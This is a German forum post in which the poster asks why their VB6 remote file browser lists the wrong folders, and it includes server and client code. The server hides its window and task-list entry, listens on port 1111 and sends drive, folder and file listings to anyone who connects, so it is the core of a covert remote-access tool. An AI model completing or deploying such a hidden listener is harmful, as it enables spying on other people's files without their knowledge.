Hallo.
Ich versuche schon seit Tagen einen remote file browser zu coden mithilfe eines Source von diesem Board...
Jedoch wenn ich auf der Listview1 (aufgelistete Laufwerke) doppelklicke, listen sich nicht die korrekten Ordner in die Listview2 ein...
Schaut selbst...
Server
- Winsock1 aufm Objekt, microsoft scripting runtime...
Code:
Dim oFSO As FileSystemObject
Private Sub Form_Load()
Winsock1.LocalPort = 1111
Winsock1.Listen
App.TaskVisible = False
Form1.Visible = False
End Sub
Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Not Winsock1.State Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
Dim arr() As String
arr = Split(data, "#")
'######## AUFLISTEN ALLER LAUFWERKE LISTVIEW 1 #######
If arr(0) = "dddddw" Then
Dim oFSO As New FileSystemObject
Dim oDrive As Drive
Dim fff As String
For Each oDrive In oFSO.Drives
fff = fff & "#" & oDrive
Next
Winsock1.SendData "popqwqw#" & fff & "#"
End If
'#######################################################
'######## AUFLISTEN ALLER VERZEICHNISSE LISTVIEW 2 ########
If arr(0) = "fopa" Then
Dim xst As String
Dim lala As Folder
Dim xxy As Folder
Dim xzr As File
Set lala = oFSO.GetFolder(arr(1))
For Each xxy In lala.SubFolders
xst = xst & "#" & xxy
Next
If xst = "" Then
xst = "fopa"
End If
Winsock1.SendData "alskd#" & xst & "#"
DoEvents
xst = ""
For Each yzr In lala.Files
xst = xst & yzr.Name & "#"
Next
If xst = "" Then
xst = "fifixe"
End If
DoEvents
Winsock1.SendData "alskd#" & xst & "#"
End If
'#########################################################
End Sub
Client
Auf der Form: Listview1, listview2, listview3, textbox, winsock1, button1
Code:
Private Sub Command1_Click()
Winsock1.SendData "dddddw#"
End Sub
Private Sub Form_Load()
Winsock1.Connect "127.0.0.1", 1111
End Sub
Private Sub ListView1_DblClick()
Dim i As Long
Dim strText As String
With ListView1
For i = 1 To ListView1.ListItems.Count
If .ListItems(i).Selected Then
strText = strText & .ListItems(i).Text
End If
Next i
End With
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
Dim arr() As String
arr = Split(data, "#")
'######## AUFLISTEN ALLER LAUFWERKE LISTVIEW 1 #######
If arr(0) = "popqwqw" Then
ListView1.ListItems.Clear
Dim itm As ListItem
For i = 2 To UBound(arr)
Set itm = ListView1.ListItems.Add(, , arr(i))
Next i
End If
'#######################################################
'######## AUFLISTEN ALLER VERZEICHNISSE LISTVIEW 2 ########
If arr(0) = "alskd" Then
ListView2.ListItems.Clear
Dim blapop1 As ListItem
Dim kakaq As String
For i = 1 To UBound(arr)
kakaq = arr(1)
Set blapop1 = ListView2.ListItems.Add(, , kakaq)
Next i
End If
'#########################################################